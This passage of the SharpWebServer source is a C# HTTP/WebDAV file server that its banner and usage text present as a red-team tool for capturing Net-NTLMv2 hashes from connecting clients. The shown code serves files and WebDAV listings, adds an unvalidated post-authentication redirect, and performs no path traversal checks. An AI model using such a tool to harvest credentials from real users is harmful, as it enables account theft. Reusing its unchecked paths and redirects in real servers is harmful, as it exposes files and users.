(request.HttpMethod.ToLower() == "get") 1242 | OnProcessGET(ref request, ref response); 1243 | 1244 | else if (request.HttpMethod.ToLower() == "head") 1245 | OnProcessHEAD(ref request, ref response); 1246 | 1247 | else if (request.HttpMethod.ToLower() == "options") 1248 | OnProcessOPTIONS(ref request, ref response); 1249 | 1250 | else if (request.HttpMethod.ToLower() == "propfind") 1251 | OnProcessPROPFIND(ref request, ref response); 1252 | 1253 | response.Headers.Add("Connection", "Close"); 1254 | } 1255 | 1256 | long sizeInBytes = 0; 1257 | if(response.ContentLength > 0) 1258 | { 1259 | sizeInBytes = response.ContentLength; 1260 | } 1261 | 1262 | Log($"{request.PeerIP} - \"{request.HttpMethod} {request.Uri}\" - len: {sizeInBytes} ({response.StatusCode})"); 1263 | } 1264 | 1265 | private void OnProcessOPTIONS(ref MyRequest request, ref MyResponse response) 1266 | { 1267 | try 1268 | { 1269 | response.StatusCode = (int)HttpStatusCode.OK; 1270 | response.StatusMessage = "OK"; 1271 | response.Headers.Add("Allow", "GET, HEAD, OPTIONS, PROPFIND"); 1272 | response.Headers.Add("Dav", "1,2"); 1273 | response.Headers.Add("MS-Author-Via", "DAV"); 1274 | } 1275 | catch (Exception ex) 1276 | { 1277 | response.StatusCode = (int)HttpStatusCode.InternalServerError; 1278 | response.StatusMessage = "Internal Server Error"; 1279 | Output($"[!] Exception occured in OPTIONS : {ex}"); 1280 | } 1281 | } 1282 | 1283 | private void OnProcessGET(ref MyRequest request, ref MyResponse response) 1284 | { 1285 | string fileName = null; 1286 | string queryString = null; 1287 | 1288 | if (_Redir) 1289 | { 1290 | try 1291 | { 1292 | string redirUrl; 1293 | queryString = request.Uri.Split('?')[1]; 1294 | string[] keyValuePairs = queryString.Split('&'); 1295 | foreach (string param in keyValuePairs) 1296 | { 1297 | string[] keyValue = param.Split('='); 1298 | if (keyValue.Length == 2 && keyValue[0] == "redir") 1299 | { 1300 | redirUrl = Uri.UnescapeDataString(keyValue[1]); 1301 | response.StatusCode = (int)HttpStatusCode.Redirect; // HTTP 302 1302 | response.StatusMessage = "Found"; 1303 | response.Headers.Add("Location", redirUrl); 1304 | return; 1305 | } 1306 | } 1307 | } 1308 | catch (Exception ex) 1309 | { 1310 | response.StatusCode = (int)HttpStatusCode.InternalServerError; 1311 | response.StatusMessage = "Internal Server Error"; 1312 | Output($"[!] Exception occured while parsing redir parameter from: {queryString} . Exception: {ex}"); 1313 | } 1314 | 1315 | } 1316 | else 1317 | { 1318 | try 1319 | { 1320 | fileName = GetRequestedFileName(ref request); 1321 | string filePath = fileName == null ? null : Path.Combine(_RootDirectory, fileName); 1322 | 1323 | if (filePath == null || filePath.Length == 0) 1324 | { 1325 | ReturnDirlisting(_RootDirectory, ref request, ref response); 1326 | return; 1327 | } 1328 | else if (File.Exists(filePath)) 1329 | { 1330 | ReturnFile(filePath, ref request, ref response); 1331 | return; 1332 | } 1333 | else if (Directory.Exists(filePath)) 1334 | { 1335 | ReturnDirlisting(filePath, ref request, ref response); 1336 | return; 1337 | } 1338 | 1339 | response.StatusCode = (int)HttpStatusCode.NotFound; 1340 | response.StatusMessage = "Not Found"; 1341 | } 1342 | catch (Exception ex) 1343 | { 1344 | response.StatusCode = (int)HttpStatusCode.InternalServerError; 1345 | response.StatusMessage = "Internal Server Error"; 1346 | Output($"[!] Exception occured while serving file: {fileName} . Exception: {ex}"); 1347 | } 1348 | } 1349 | 1350 | } 1351 | 1352 | private void OnProcessHEAD(ref MyRequest request, ref MyResponse response) 1353 | { 1354 | string fileName = null; 1355 | try 1356 | { 1357 | fileName = GetRequestedFileName(ref request); 1358 | string filePath = fileName == null ? null : Path.Combine(_RootDirectory, fileName); 1359 | 1360 | if (filePath == null || filePath.Length == 0) 1361 | { 1362 | response.Headers.Add("Accept-Ranges", "bytes"); 1363 | ReturnDirlisting(_RootDirectory, ref request, ref response); 1364 | return; 1365 | } 1366 | else if (File.Exists(filePath)) 1367 | { 1368 | response.Headers.Add("Accept-Ranges", "bytes"); 1369 | ReturnFile(filePath, ref request, ref response); 1370 | return; 1371 | } 1372 | else if (Directory.Exists(filePath)) 1373 | { 1374 | response.Headers.Add("Accept-Ranges", "bytes"); 1375 | ReturnDirlisting(filePath, ref request, ref response); 1376 | return; 1377 | } 1378 | 1379 | response.StatusCode = (int)HttpStatusCode.NotFound; 1380 | response.StatusMessage = "Not Found"; 1381 | } 1382 | catch (Exception ex) 1383 | { 1384 | response.StatusCode = (int)HttpStatusCode.InternalServerError; 1385 | response.StatusMessage = "Internal Server Error"; 1386 | Output($"[!] Exception occured while serving file: {fileName} . Exception: {ex}"); 1387 | } 1388 | } 1389 | 1390 | private void OnProcessPROPFIND(ref MyRequest request, ref MyResponse response) 1391 | { 1392 | string fileName = null; 1393 | try 1394 | { 1395 | fileName = GetRequestedFileName(ref request); 1396 | string filePath = fileName == null ? null : Path.Combine(_RootDirectory, fileName); 1397 | 1398 | if (filePath.Length == 0 || filePath == null) 1399 | { 1400 | filePath = _RootDirectory; 1401 | } 1402 | 1403 | if (File.Exists(filePath) || Directory.Exists(filePath)) 1404 | { 1405 | ProcessPropfind(filePath, ref request, ref response); 1406 | } 1407 | else 1408 | { 1409 | response.StatusCode = (int)HttpStatusCode.NotFound; 1410 | response.StatusMessage = "Not Found"; 1411 | } 1412 | } 1413 | catch (Exception ex) 1414 | { 1415 | response.StatusCode = (int)HttpStatusCode.InternalServerError; 1416 | response.StatusMessage = "Internal Server Error"; 1417 | Output($"[!] Exception occured while serving file: {fileName} . Exception: {ex}"); 1418 | } 1419 | } 1420 | 1421 | private void GeneratePropfindXml(ref XmlWriter writer, bool isFile, string filePath, ref MyRequest request, ref MyResponse response, int depth = 0) 1422 | { 1423 | string host = request.localEndpoint.ToString(); 1424 | if (request.Headers.ContainsKey("host")) host = request.Headers["Host"]; 1425 | 1426 | string path = filePath.Replace(_RootDirectory, "").Replace('\\', '/'); 1427 | if (path.StartsWith("/")) path = path.Substring(1); 1428 | if (!isFile && path.EndsWith("/")) path = path.Substring(0, path.Length - 1); 1429 | 1430 | string serverUrl = "http://" + host + "/" + path; 1431 | 1432 | writer.WriteStartElement("D", "response", "DAV:"); 1433 | writer.WriteAttributeString("xmlns", "ns1", null, "NS2"); 1434 | writer.WriteStartElement("D", "href", "DAV:"); 1435 | writer.WriteString(serverUrl); 1436 | writer.WriteEndElement(); 1437 | writer.WriteStartElement("D", "propstat", "DAV:"); 1438 | writer.WriteStartElement("D", "prop", "DAV:"); 1439 | 1440 | writer.WriteStartElement("D", "creationdate", "DAV:"); 1441 | DateTime creation = File.GetCreationTime(filePath); 1442 | writer.WriteString(creation.ToString("yyyy-MM-ddTHH:mm:ssZ")); 1443 | writer.WriteEndElement(); //creationdate 1444 | 1445 | writer.WriteStartElement("D", "getcontentlength", "DAV:"); 1446 | 1447 | if (isFile) 1448 | { 1449 | var size = new System.IO.FileInfo(filePath).Length; 1450 | writer.WriteString(size.ToString()); 1451 | } 1452 | else 1453 | { 1454 | writer.WriteString("0"); 1455 | } 1456 | 1457 | writer.WriteEndElement(); //getcontentlength 1458 | 1459 | if (!isFile) 1460 | { 1461 | writer.WriteStartElement("D", "getcontenttype", "DAV:"); 1462 | writer.WriteString("httpd/unix-directory"); 1463 | writer.WriteEndElement(); 1464 | } 1465 | 1466 | writer.WriteStartElement("D", "getlastmodified", "DAV:"); 1467 | DateTime writetime = File.GetLastWriteTime(filePath); 1468 | writer.WriteString(writetime.ToString("ddd, dd MMM yyyy HH:mm:ss K")); 1469 | writer.WriteEndElement(); //getlastmodified 1470 | 1471 | writer.WriteStartElement("D", "lockdiscovery", "DAV:"); 1472 | writer.WriteString(""); 1473 | writer.WriteEndElement(); 1474 | 1475 | writer.WriteStartElement("D", "resourcetype", "DAV:"); 1476 | if (!isFile) 1477 | { 1478 | writer.WriteStartElement("D", "collection", "DAV:"); 1479 | writer.WriteEndElement(); //collection 1480 | } 1481 | writer.WriteEndElement(); //resourcetype 1482 | 1483 | writer.WriteStartElement("D", "supportedlock", "DAV:"); 1484 | writer.WriteStartElement("D", "lockentry", "DAV:"); 1485 | writer.WriteStartElement("D", "lockscope", "DAV:"); 1486 | writer.WriteStartElement("D", "exclusive", "DAV:"); 1487 | writer.WriteEndElement(); //exclusive 1488 | writer.WriteEndElement(); //lockscope 1489 | 1490 | writer.WriteStartElement("D", "locktype", "DAV:"); 1491 | writer.WriteStartElement("D", "write", "DAV:"); 1492 | writer.WriteEndElement(); //write 1493 | writer.WriteEndElement(); //locktype 1494 | 1495 | writer.WriteEndElement(); //lockentry 1496 | writer.WriteEndElement(); //supportedlock 1497 | 1498 | writer.WriteEndElement(); //prop 1499 | 1500 | writer.WriteStartElement("D", "status", "DAV:"); 1501 | writer.WriteString($"{response.HttpVersion} 200 OK"); 1502 | writer.WriteEndElement(); //status 1503 | 1504 | writer.WriteEndElement(); //propstat 1505 | 1506 | writer.WriteStartElement("D", "propstat", "DAV:"); 1507 | writer.WriteStartElement("D", "prop", "DAV:"); 1508 | 1509 | writer.WriteStartElement("D", "getcontentlanguage", "DAV:"); 1510 | writer.WriteEndElement(); 1511 | 1512 | if (isFile) 1513 | { 1514 | writer.WriteStartElement("D", "getcontenttype", "DAV:"); 1515 | writer.WriteString(GetContentType(filePath)); 1516 | writer.WriteEndElement(); 1517 | } 1518 | 1519 | writer.WriteStartElement("D", "getetag", "DAV:"); 1520 | writer.WriteEndElement(); 1521 | writer.WriteStartElement("D", "source", "DAV:"); 1522 | writer.WriteEndElement(); 1523 | writer.WriteStartElement("ns1", "p1", "NS2"); 1524 | writer.WriteEndElement(); 1525 | writer.WriteStartElement("ns1", "p2", "NS2"); 1526 | writer.WriteEndElement(); 1527 | 1528 | writer.WriteEndElement(); //prop 1529 | 1530 | writer.WriteStartElement("D", "status", "DAV:"); 1531 | writer.WriteString($"{response.HttpVersion} 404 Not Found"); 1532 | writer.WriteEndElement(); //status 1533 | 1534 | writer.WriteEndElement(); //propstat 1535 | 1536 | writer.WriteEndElement(); //response 1537 | } 1538 | 1539 | private string GetPropfindResponse(string filePath, ref MyRequest request, ref MyResponse response, int depth = 0) 1540 | { 1541 | bool isFile = File.Exists(filePath); 1542 | 1543 | using (var sw = new StringWriter()) 1544 | { 1545 | XmlWriterSettings settings = new XmlWriterSettings(); 1546 | settings.Encoding = System.Text.Encoding.UTF8; 1547 | 1548 | XmlWriter writer = XmlWriter.Create(sw, settings); 1549 | writer.WriteStartDocument(); 1550 | 1551 | writer.WriteStartElement("D", "multistatus", "DAV:"); 1552 | 1553 | GeneratePropfindXml(ref writer, isFile, filePath, ref request, ref response); 1554 | 1555 | if (depth > 0 && !isFile) 1556 | { 1557 | foreach (string file in Directory.GetFiles(filePath)) 1558 | { 1559 | bool isFile2 = File.Exists(file); 1560 | GeneratePropfindXml(ref writer, isFile2, file, ref request, ref response, depth); 1561 | } 1562 | 1563 | foreach (string file in Directory.GetDirectories(filePath)) 1564 | { 1565 | bool isFile2 = File.Exists(file); 1566 | GeneratePropfindXml(ref writer, isFile2, file, ref request, ref response, depth); 1567 | } 1568 | } 1569 | 1570 | writer.WriteEndElement(); //multistatus 1571 | writer.WriteEndDocument(); 1572 | 1573 | writer.Flush(); 1574 | writer.Close(); 1575 | 1576 | string strxml = sw.ToString() + "\n"; 1577 | strxml = strxml.Replace("utf-16", "utf-8"); 1578 | return strxml; 1579 | } 1580 | } 1581 | 1582 | private void ProcessPropfind(string filePath, ref MyRequest request, ref MyResponse response) 1583 | { 1584 | response.ContentType = "text/xml; encoding=\"utf-8\""; 1585 | 1586 | XmlDocument xml = new XmlDocument(); 1587 | if (request.Body.Length != 0) 1588 | { 1589 | try 1590 | { 1591 | //xml.LoadXml(request.Body); 1592 | } 1593 | catch (Exception ex) 1594 | { 1595 | response.StatusCode = (int)HttpStatusCode.InternalServerError; 1596 | response.StatusMessage = "Internal Server Error"; 1597 | Output($"[!] Exception occured while parsing XML in PROPFIND: {ex}"); 1598 | return; 1599 | } 1600 | } 1601 | else 1602 | { 1603 | response.StatusCode = (int)207; 1604 | response.StatusMessage = "Multi-Status"; 1605 | 1606 | int depth = 0; 1607 | if (request.Headers.ContainsKey("depth")) 1608 | { 1609 | try 1610 | { 1611 | depth = Int32.Parse(request.Headers["Depth"]); 1612 | } 1613 | catch (Exception ex) 1614 | { 1615 | response.StatusCode = (int)HttpStatusCode.InternalServerError; 1616 | response.StatusMessage = "Internal Server Error"; 1617 | Output($"[!] Exception occured while parsing WebDAV Depth header: {ex}"); 1618 | return; 1619 | } 1620 | } 1621 | 1622 | response.Output = Encoding.ASCII.GetBytes(GetPropfindResponse(filePath, ref request, ref response, depth)); 1623 | response.ContentLength = response.Output.Length; 1624 | response.Headers.Add("DAV", "1,2"); 1625 | } 1626 | } 1627 | private void ReturnDirlisting(string filePath, ref MyRequest request, ref MyResponse response, bool noContents = false) 1628 | { 1629 | response.ContentType = "text/html; charset=utf-8"; 1630 | string template = @" 1631 | 1632 | 1633 | 1634 | Directory listing for $TITLE$ 1635 | 1636 | 1637 |

Directory listing for $TITLE$

1638 |
1639 |
    1640 | $FILES$
1641 |
1642 | 1643 | "; 1644 | string dirpath = request.Uri.Substring(1); 1645 | if (dirpath.EndsWith("/")) dirpath = dirpath.Substring(0, dirpath.Length - 1); 1646 | 1647 | template = template.Replace("$TITLE$", dirpath); 1648 | 1649 | string filesHtml = ""; 1650 | 1651 | foreach (string file in Directory.GetDirectories(filePath)) 1652 | { 1653 | string filename = Path.GetFileName(file); 1654 | string filep = $"/{dirpath}/{filename}/"; 1655 | filesHtml += $@"
  • {filename}
  • "; 1656 | filesHtml += "\n"; 1657 | } 1658 | 1659 | foreach (string file in Directory.GetFiles(filePath)) 1660 | { 1661 | string filename = Path.GetFileName(file); 1662 | string filep = $"/{dirpath}/{filename}"; 1663 | filesHtml += $@"
  • {filename}
  • "; 1664 | filesHtml += "\n"; 1665 | } 1666 | 1667 | template = template.Replace("$FILES$", filesHtml); 1668 | 1669 | if (!noContents) 1670 | { 1671 | response.Output = Encoding.GetEncoding("UTF-8").GetBytes(template); 1672 | } 1673 | 1674 | response.ContentLength = template.Length; 1675 | response.StatusCode = (int)HttpStatusCode.OK; 1676 | response.StatusMessage = "OK"; 1677 | } 1678 | private void ReturnFile(string filePath, ref MyRequest request, ref MyResponse response, bool noContents = false) 1679 | { 1680 | using (Stream input = new FileStream(filePath, FileMode.Open)) 1681 | { 1682 | response.ContentType = GetContentType(filePath); 1683 | response.ContentLength = input.Length; 1684 | 1685 | //response.Headers.Add("Last-Modified", System.IO.File.GetLastWriteTime(filePath).ToString("r")); 1686 | 1687 | if (_AllowCors) 1688 | response.Headers.Add("Access-Control-Allow-Origin", "*"); 1689 | 1690 | if (!noContents) 1691 | { 1692 | if (request.Headers.ContainsKey("range")) 1693 | { 1694 | string rangeHeader = request.Headers["range"]; 1695 | if (rangeHeader.IndexOf("bytes=") == -1) 1696 | { 1697 | response.StatusCode = (int)HttpStatusCode.RequestedRangeNotSatisfiable; 1698 | response.StatusMessage = "Requested Range Not Satisfiable"; 1699 | response.ContentLength = 0; 1700 | return; 1701 | } 1702 | 1703 | try 1704 | { 1705 | response.Output = ReadFileRange(input, ref response, rangeHeader.Replace("bytes=", "")); 1706 | response.StatusCode = (int)HttpStatusCode.PartialContent; 1707 | response.StatusMessage = "Partial Content"; 1708 | response.ContentLength = response.Output.Length; 1709 | } 1710 | catch (Exception ex) 1711 | { 1712 | Output($"Range header processing failed.: {ex}"); 1713 | response.StatusCode = (int)HttpStatusCode.RequestedRangeNotSatisfiable; 1714 | response.StatusMessage = "Requested Range Not Satisfiable"; 1715 | response.ContentLength = 0; 1716 | return; 1717 | } 1718 | } 1719 | else 1720 | { 1721 | response.Output = ReadFully(input); 1722 | response.StatusCode = (int)HttpStatusCode.OK; 1723 | response.StatusMessage = "OK"; 1724 | } 1725 | } 1726 | else 1727 | { 1728 | response.StatusCode = (int)HttpStatusCode.OK; 1729 | response.StatusMessage = "OK"; 1730 | } 1731 | } 1732 | } 1733 | private byte[] ReadFileRange(Stream input, ref MyResponse response, string rangeHeader) 1734 | { 1735 | string[] ranges = rangeHeader.Split(','); 1736 | List> rangeBoundaries = new List>(); 1737 | 1738 | const uint MaxRanges = 128; 1739 | 1740 | foreach (string range in ranges) 1741 | { 1742 | if (rangeBoundaries.Count() > MaxRanges) 1743 | { 1744 | //throw new Exception("Too many ranges specified."); 1745 | break; 1746 | } 1747 | 1748 | string[] parts = range.Trim().Split('-'); 1749 | int fromByte = 0; 1750 | int toByte = 0; 1751 | 1752 | if (parts[0].Length == 0 && parts[1].Length == 0) 1753 | throw new Exception("Invalid range-start - range-end specification."); 1754 | 1755 | if (parts[0].Length == 0) 1756 | { 1757 | int tmp = Int32.Parse(parts[1]); 1758 | fromByte = (int)input.Length - tmp; 1759 | toByte = (int)input.Length - 1; 1760 | 1761 | if (fromByte < 0 || fromByte > input.Length || toByte - fromByte < 0 || toByte - fromByte > input.Length) 1762 | throw new Exception("Invalid range-end."); 1763 | } 1764 | else if (parts[0].Length > 0 && parts[1].Length == 0) 1765 | { 1766 | int tmp = Int32.Parse(parts[0]); 1767 | fromByte = tmp; 1768 | toByte = (int)input.Length - 1; 1769 | 1770 | if (fromByte < 0 || fromByte > input.Length || toByte - fromByte < 0 || toByte - fromByte > input.Length) 1771 | throw new Exception("Invalid range-start."); 1772 | } 1773 | else if (parts[0].Length > 0 && parts[1].Length > 0) 1774 | { 1775 | fromByte = Int32.Parse(parts[0]); 1776 | toByte = Int32.Parse(parts[1]); 1777 | 1778 | if (toByte >= input.Length) toByte = (int)input.Length - 1; 1779 | 1780 | if (fromByte < 0 || fromByte > input.Length || toByte - fromByte < 0 || toByte - fromByte > input.Length) 1781 | throw new Exception("Invalid range-start."); 1782 | if (toByte < 0 || toByte > input.Length) 1783 | throw new Exception("Invalid range-end."); 1784 | } 1785 | else 1786 | { 1787 | throw new Exception($"Invalid range header specification"); 1788 | } 1789 | 1790 | rangeBoundaries.Add(Tuple.Create(fromByte, toByte)); 1791 | } 1792 | 1793 | if(rangeBoundaries.Count() == 0) 1794 | { 1795 | throw new Exception($"Invalid range header specification"); 1796 | } 1797 | else if(rangeBoundaries.Count() == 1) 1798 | { 1799 | int fromByte = rangeBoundaries[0].Item1; 1800 | int toByte = rangeBoundaries[0].Item2; 1801 | byte[] buffer = new byte[toByte - fromByte + 1]; 1802 | 1803 | input.Seek(fromByte, SeekOrigin.Begin); 1804 | input.Read(buffer, 0, (toByte - fromByte + 1)); 1805 | 1806 | response.Headers.Add($"Content-Range", $"bytes {fromByte}-{toByte}/{input.Length}"); 1807 | response.ContentLength = buffer.Length; 1808 | 1809 | return buffer; 1810 | } 1811 | else 1812 | { 1813 | string boundary = RandomString(12); 1814 | string contentType = response.ContentType; 1815 | response.ContentType = $"multipart/byteranges; boundary={boundary}"; 1816 | 1817 | using (var ms = new MemoryStream()) 1818 | { 1819 | using (var writer = new StreamWriter(ms)) 1820 | { 1821 | for (int i = 0; i < rangeBoundaries.Count(); i++) 1822 | { 1823 | int fromByte = rangeBoundaries[i].Item1; 1824 | int toByte = rangeBoundaries[i].Item2; 1825 | byte[] buffer = new byte[toByte - fromByte + 1]; 1826 | 1827 | input.Seek(fromByte, SeekOrigin.Begin); 1828 | input.Read(buffer, 0, (toByte - fromByte + 1)); 1829 | 1830 | writer.Write($"--{boundary}\r\n"); 1831 | writer.Write($"Content-Type: {contentType}\r\n"); 1832 | writer.Write($"Content-Range: bytes {fromByte}-{toByte}/{input.Length}\r\n"); 1833 | writer.Write("\r\n"); 1834 | 1835 | for (int j = 0; j < buffer.Length; j++) 1836 | writer.Write((char)buffer[j]); 1837 | 1838 | writer.Write("\r\n"); 1839 | } 1840 | 1841 | writer.Write($"--{boundary}--"); 1842 | writer.Flush(); 1843 | } 1844 | 1845 | ms.Flush(); 1846 | return ms.ToArray(); 1847 | } 1848 | } 1849 | } 1850 | 1851 | private static Random random = new Random(); 1852 | public static string RandomString(int length) 1853 | { 1854 | const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 1855 | return new string(Enumerable.Repeat(chars, length) 1856 | .Select(s => s[random.Next(s.Length)]).ToArray()); 1857 | } 1858 | private string GetRequestedFileName(ref MyRequest request) 1859 | { 1860 | string fileName = request.Uri.Substring(1); 1861 | if (string.IsNullOrEmpty(fileName)) 1862 | fileName = GetExistingIndexFileName(); 1863 | return fileName; 1864 | } 1865 | public static byte[] ReadFully(Stream input) 1866 | { 1867 | using (MemoryStream ms = new MemoryStream()) 1868 | { 1869 | input.CopyTo(ms); 1870 | return ms.ToArray(); 1871 | } 1872 | } 1873 | private string GetContentType(string filePath) 1874 | { 1875 | string mime; 1876 | if (_MimeTypeMappings.TryGetValue(Path.GetExtension(filePath), out mime)) 1877 | return mime; 1878 | 1879 | return "application/octet-stream"; 1880 | } 1881 | private string GetExistingIndexFileName() 1882 | { 1883 | foreach (string indexFile in _IndexFiles) 1884 | { 1885 | if (File.Exists(Path.Combine(_RootDirectory, indexFile))) 1886 | { 1887 | return indexFile; 1888 | } 1889 | } 1890 | return null; 1891 | } 1892 | static void Usage() 1893 | { 1894 | Output(@"Usage: 1895 | SharpWebServer.exe [dir=path] [verbose=true] [ntlm=true] [redir=true] [logfile=path] 1896 | 1897 | Options: 1898 | port - TCP Port number on which to listen (1-65535) 1899 | dir - Directory with files to be hosted. 1900 | verbose - Turn verbose mode on. 1901 | seconds - Specifies how long should the server be running. Default: indefinitely 1902 | ntlm - Require NTLM Authentication before serving files. Useful to collect NetNTLMv2 hashes 1903 | (in MDSec's Farmer style) 1904 | redir - Redirect after NTLM authentication based on redir paramerer in the url (e.g. ?redir=https://example.com) 1905 | logfile - Path to output logfile. 1906 | "); 1907 | } 1908 | static void Output(string txt) 1909 | { 1910 | if(outputToFile.Length > 0) 1911 | { 1912 | File.AppendAllText(outputToFile, txt + Environment.NewLine); 1913 | } 1914 | else 1915 | { 1916 | Console.WriteLine(txt); 1917 | } 1918 | } 1919 | static void Main(string[] args) 1920 | { 1921 | if (args.Length < 1) 1922 | { 1923 | Output(@" 1924 | :: SharpWebServer :: 1925 | a Red Team oriented C# Simple HTTP & WebDAV Server with Net-NTLM hashes capture functionality 1926 | 1927 | Authors: 1928 | - Dominic Chell (@domchell) from MDSec - Net-NTLM hashes capture code borrowed from Farmer 1929 | - Mariusz Banach / mgeeky, - WebDAV implementation, NTLM Authentication keep-alive, 1930 | all the rest. 1931 | "); 1932 | Usage(); 1933 | return; 1934 | } 1935 | 1936 | Output(@" 1937 | :: SharpWebServer :: 1938 | a Red Team oriented C# Simple HTTP Server with Net-NTLMv1/2 hashes capture functionality 1939 | "); 1940 | 1941 | var arguments = new Dictionary(); 1942 | foreach (string argument in args) 1943 | { 1944 | int idx = argument.IndexOf('='); 1945 | if (idx > 0) 1946 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 1947 | } 1948 | 1949 | if (!arguments.ContainsKey("port")) 1950 | { 1951 | Usage(); 1952 | return; 1953 | } 1954 | 1955 | int port = Int32.Parse(arguments["port"]); 1956 | if (port < 0 || port > 65535) 1957 | { 1958 | Output("[!] Port must be in range <1, 65535>"); 1959 | return; 1960 | } 1961 | 1962 | Output($"[.] Serving HTTP server on port : {port}"); 1963 | 1964 | string dir = Directory.GetCurrentDirectory(); 1965 | if (arguments.ContainsKey("dir")) 1966 | { 1967 | dir = arguments["dir"]; 1968 | } 1969 | 1970 | Output($"[.] Serving files from directory : {dir}"); 1971 | 1972 | int seconds = 0; 1973 | if (arguments.ContainsKey("seconds")) 1974 | { 1975 | seconds = Int32.Parse(arguments["seconds"]); 1976 | Output($"[.] Will run for this long : {seconds} seconds"); 1977 | } 1978 | 1979 | bool verbose = false; 1980 | if (arguments.ContainsKey("verbose") && arguments["verbose"].ToLower().Equals("true")) 1981 | { 1982 | Output($"[.] Verbose mode turned on."); 1983 | verbose = true; 1984 | } 1985 | 1986 | bool ntlm = false; 1987 | if (arguments.ContainsKey("ntlm") && arguments["ntlm"].ToLower().Equals("true")) 1988 | { 1989 | Output($"[.] NTLM mode turned on."); 1990 | ntlm = true; 1991 | } 1992 | 1993 | bool redir = false; 1994 | if (arguments.ContainsKey("redir") && arguments["redir"].ToLower().Equals("true")) 1995 | { 1996 | Output($"[.] Enabling redirection"); 1997 | redir = true; 1998 | } 1999 | 2000 | if (arguments.ContainsKey("logfile")) 2001 | { 2002 | Output("[.] Will write output to logfile : " + arguments["logfile"]); 2003 | outputToFile = arguments["logfile"]; 2004 | } 2005 | 2006 | 2007 | 2008 | Output("\n"); 2009 | 2010 | var server = new SharpWebServer(dir, port, ntlm, verbose, redir); 2011 | 2012 | server.Initialize(); 2013 | 2014 | if (seconds == 0) 2015 | { 2016 | // loop indefinitely until something stops 2017 | while (true) 2018 | { 2019 | System.Threading.Thread.Sleep(1000); 2020 | } 2021 | } 2022 | else 2023 | { 2024 | // loop until the timer runs out 2025 | while (seconds > 0) 2026 | { 2027 | System.Threading.Thread.Sleep(1000); 2028 | seconds--; 2029 | } 2030 | 2031 | Output($"[.] SharpWebServer time to listen elapsed. Bye!"); 2032 | 2033 | server.Stop(); 2034 | System.Environment.Exit(0); 2035 | } 2036 | } 2037 | } 2038 | } 2039 | -------------------------------------------------------------------------------- /SharpWebServer/SharpWebServer.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {16B998D9-FF9E-4C3A-9C39-DE871FD111C8} 8 | Exe 9 | SharpWebServer 10 | SharpWebServer 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | false 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.Sockets.dll 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /SharpWebServer/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | --------------------------------------------------------------------------------